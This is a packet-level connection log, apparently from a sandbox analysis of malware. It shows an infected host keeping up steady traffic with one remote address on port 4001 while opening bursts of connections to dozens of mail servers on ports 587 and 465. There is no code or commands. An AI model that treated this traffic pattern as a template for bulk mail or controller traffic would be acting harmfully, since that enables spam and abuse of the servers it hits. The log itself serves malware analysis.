May 19, 2024 17:27:41.948734999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.949039936 CEST	49884	465	192.168.2.4	147.182.160.18
May 19, 2024 17:27:41.953455925 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:41.953550100 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:41.953659058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.953737020 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.953763008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.958349943 CEST	465	49884	147.182.160.18	192.168.2.4
May 19, 2024 17:27:41.958451033 CEST	49884	465	192.168.2.4	147.182.160.18
May 19, 2024 17:27:41.958476067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.958574057 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:41.958692074 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.958764076 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:41.958764076 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:41.963118076 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.963305950 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.963335991 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.963449001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.963473082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.967850924 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.972712040 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.025146961 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:42.025178909 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:42.025222063 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:42.025249004 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.025263071 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.025278091 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.025311947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.025352955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.025662899 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:42.025757074 CEST	49885	587	192.168.2.4	150.136.132.149
May 19, 2024 17:27:42.025778055 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:42.025837898 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:42.026197910 CEST	49886	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:42.031446934 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.036483049 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:42.067976952 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:42.068034887 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:42.068047047 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:42.073005915 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:42.073038101 CEST	587	49885	150.136.132.149	192.168.2.4
May 19, 2024 17:27:42.073065996 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:42.073091984 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.073106050 CEST	49885	587	192.168.2.4	150.136.132.149
May 19, 2024 17:27:42.073136091 CEST	587	49886	194.158.122.55	192.168.2.4
May 19, 2024 17:27:42.073189020 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.073235035 CEST	49886	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:42.073293924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.073381901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.073409081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.103785992 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:42.103895903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.109802961 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.114790916 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.146071911 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:42.151137114 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.151187897 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:42.151218891 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:42.151247978 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:42.151329994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.151344061 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:42.151407957 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.151460886 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.151978016 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:42.152376890 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:42.153412104 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:42.156255007 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:42.161427021 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:42.195904970 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:42.195907116 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:42.195907116 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:42.200913906 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:42.200949907 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.200978994 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.201008081 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:42.201054096 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:42.201560974 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.201625109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.201963902 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:42.202080965 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.202116013 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.202301979 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.202331066 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.202619076 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:42.206693888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.206768990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.207943916 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:42.210143089 CEST	49890	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:42.210154057 CEST	49891	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:42.212902069 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:42.212992907 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:42.213069916 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.217711926 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:42.217741013 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.217771053 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:42.217803001 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:42.217900991 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.217942953 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.222450972 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:42.222481012 CEST	587	49890	117.50.20.113	192.168.2.4
May 19, 2024 17:27:42.222510099 CEST	587	49891	193.201.172.98	192.168.2.4
May 19, 2024 17:27:42.222560883 CEST	49890	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:42.222582102 CEST	49891	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:42.222606897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.222637892 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.222677946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.227688074 CEST	49893	465	192.168.2.4	188.114.96.3
May 19, 2024 17:27:42.231997013 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.236824989 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.255557060 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:42.260514975 CEST	465	49893	188.114.96.3	192.168.2.4
May 19, 2024 17:27:42.260545969 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:42.260600090 CEST	49893	465	192.168.2.4	188.114.96.3
May 19, 2024 17:27:42.260603905 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:42.260667086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.260713100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.260737896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.260898113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.260943890 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.265527964 CEST	587	49829	103.11.85.79	192.168.2.4
May 19, 2024 17:27:42.265630960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.270384073 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.271044016 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:42.275116920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.279860973 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:42.279891968 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:27:42.279963017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.279995918 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.286029100 CEST	49894	587	192.168.2.4	198.164.81.21
May 19, 2024 17:27:42.290421009 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.295175076 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:42.295267105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.300142050 CEST	587	49894	198.164.81.21	192.168.2.4
May 19, 2024 17:27:42.300221920 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:42.300429106 CEST	49894	587	192.168.2.4	198.164.81.21
May 19, 2024 17:27:42.300595999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.300595999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.302330971 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:42.302938938 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:42.307810068 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.313136101 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:42.313240051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.317936897 CEST	49829	587	192.168.2.4	103.11.85.79
May 19, 2024 17:27:42.318659067 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.318888903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.318926096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.323395014 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:42.323508024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.328238964 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.333549976 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:42.333631992 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:42.336868048 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.337032080 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:42.337407112 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:42.337407112 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:42.337833881 CEST	49895	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:42.338198900 CEST	49896	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:42.338407993 CEST	49897	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:42.338948011 CEST	49898	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:42.339020014 CEST	49899	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:42.341619015 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.341691971 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.346620083 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:42.346709013 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:42.346740007 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:42.346775055 CEST	587	49895	194.158.122.55	192.168.2.4
May 19, 2024 17:27:42.346847057 CEST	49895	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:42.346889973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.349190950 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:42.349308968 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:42.351186037 CEST	587	49896	142.93.237.125	192.168.2.4
May 19, 2024 17:27:42.351217031 CEST	587	49897	64.59.136.142	192.168.2.4
May 19, 2024 17:27:42.351247072 CEST	587	49898	194.158.122.55	192.168.2.4
May 19, 2024 17:27:42.351262093 CEST	49896	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:42.351277113 CEST	587	49899	193.81.82.81	192.168.2.4
May 19, 2024 17:27:42.351285934 CEST	49897	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:42.351315975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.351315975 CEST	49898	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:42.351346016 CEST	49899	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:42.351366043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.351387978 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.351432085 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.358576059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.358612061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.363874912 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.364799976 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:42.364942074 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:42.368961096 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:42.369015932 CEST	587	49833	209.202.254.90	192.168.2.4
May 19, 2024 17:27:42.369079113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.369116068 CEST	49833	587	192.168.2.4	209.202.254.90
May 19, 2024 17:27:42.369116068 CEST	49833	587	192.168.2.4	209.202.254.90
May 19, 2024 17:27:42.369146109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.373907089 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.379259109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.379295111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.384774923 CEST	587	49833	209.202.254.90	192.168.2.4
May 19, 2024 17:27:42.384826899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.390161991 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.390161991 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.395698071 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.401084900 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.411753893 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:42.417749882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.417783976 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.425981998 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:42.426142931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.431158066 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.436229944 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.436517000 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.442161083 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.474180937 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:42.479621887 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.479675055 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:42.479741096 CEST	587	49818	120.50.131.112	192.168.2.4
May 19, 2024 17:27:42.479871988 CEST	49818	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:42.479984999 CEST	49818	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:42.479990005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.480038881 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.480442047 CEST	49900	587	192.168.2.4	199.59.243.225
May 19, 2024 17:27:42.480761051 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:42.480947971 CEST	49902	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:42.481589079 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:42.481810093 CEST	49905	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:42.481826067 CEST	49904	587	192.168.2.4	142.251.9.26
May 19, 2024 17:27:42.489923954 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:42.511272907 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:42.514441013 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.516771078 CEST	587	49818	120.50.131.112	192.168.2.4
May 19, 2024 17:27:42.521197081 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:42.521501064 CEST	587	49900	199.59.243.225	192.168.2.4
May 19, 2024 17:27:42.521605015 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:42.521651030 CEST	49900	587	192.168.2.4	199.59.243.225
May 19, 2024 17:27:42.521670103 CEST	587	49902	193.81.82.81	192.168.2.4
May 19, 2024 17:27:42.521699905 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:42.521730900 CEST	587	49905	104.18.2.81	192.168.2.4
May 19, 2024 17:27:42.521760941 CEST	587	49904	142.251.9.26	192.168.2.4
May 19, 2024 17:27:42.521760941 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:42.521765947 CEST	49902	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:42.521780968 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:42.521790981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.521797895 CEST	49905	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:42.521955013 CEST	49904	587	192.168.2.4	142.251.9.26
May 19, 2024 17:27:42.522180080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.522226095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.522268057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.522325993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.522361994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.522414923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.543921947 CEST	49906	465	192.168.2.4	108.167.189.113
May 19, 2024 17:27:42.544083118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.544083118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.544338942 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:42.549426079 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.549475908 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.549508095 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.549664974 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.549724102 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:42.549782991 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:42.549855947 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:42.549886942 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:42.550122023 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:42.550244093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.550271034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.550542116 CEST	49908	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:42.550895929 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:42.554492950 CEST	465	49906	108.167.189.113	192.168.2.4
May 19, 2024 17:27:42.558471918 CEST	49906	465	192.168.2.4	108.167.189.113
May 19, 2024 17:27:42.558542013 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.559277058 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:42.559324980 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.559381962 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:42.559534073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.564336061 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:42.564390898 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:42.564426899 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:42.564553976 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:42.564632893 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:42.564668894 CEST	587	49908	194.152.32.10	192.168.2.4
May 19, 2024 17:27:42.564701080 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:27:42.564729929 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.564747095 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:42.564841986 CEST	49908	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:42.564920902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.564920902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.569267035 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:42.570116997 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:42.570337057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.570337057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.572263956 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:42.572350025 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:42.572679043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.572679043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.576710939 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:42.576749086 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.576888084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.581517935 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.586283922 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.599289894 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:42.604665995 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.630568027 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:42.638608932 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.638609886 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.643600941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.643696070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.643795013 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:42.644318104 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:42.644382954 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:42.644764900 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:42.646558046 CEST	49743	465	192.168.2.4	192.0.78.170
May 19, 2024 17:27:42.646591902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.648617983 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.653405905 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:42.653434992 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:42.653464079 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.653491020 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:42.698126078 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.698158026 CEST	465	49743	192.0.78.170	192.168.2.4
May 19, 2024 17:27:42.698216915 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:42.698246002 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:42.698242903 CEST	49743	465	192.168.2.4	192.0.78.170
May 19, 2024 17:27:42.698594093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.698595047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.698685884 CEST	49910	587	192.168.2.4	74.125.200.26
May 19, 2024 17:27:42.698951960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.698951960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.699034929 CEST	49911	587	192.168.2.4	185.137.168.190
May 19, 2024 17:27:42.703308105 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:42.703417063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.708292961 CEST	587	49910	74.125.200.26	192.168.2.4
May 19, 2024 17:27:42.708506107 CEST	49910	587	192.168.2.4	74.125.200.26
May 19, 2024 17:27:42.710336924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.713027954 CEST	587	49911	185.137.168.190	192.168.2.4
May 19, 2024 17:27:42.713057995 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.713186026 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.713226080 CEST	49911	587	192.168.2.4	185.137.168.190
May 19, 2024 17:27:42.718600988 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.723366022 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:42.723448992 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.728471994 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.739792109 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:42.739835978 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:42.744784117 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.744857073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.744910955 CEST	49734	4001	192.168.2.4	212.162.153.199
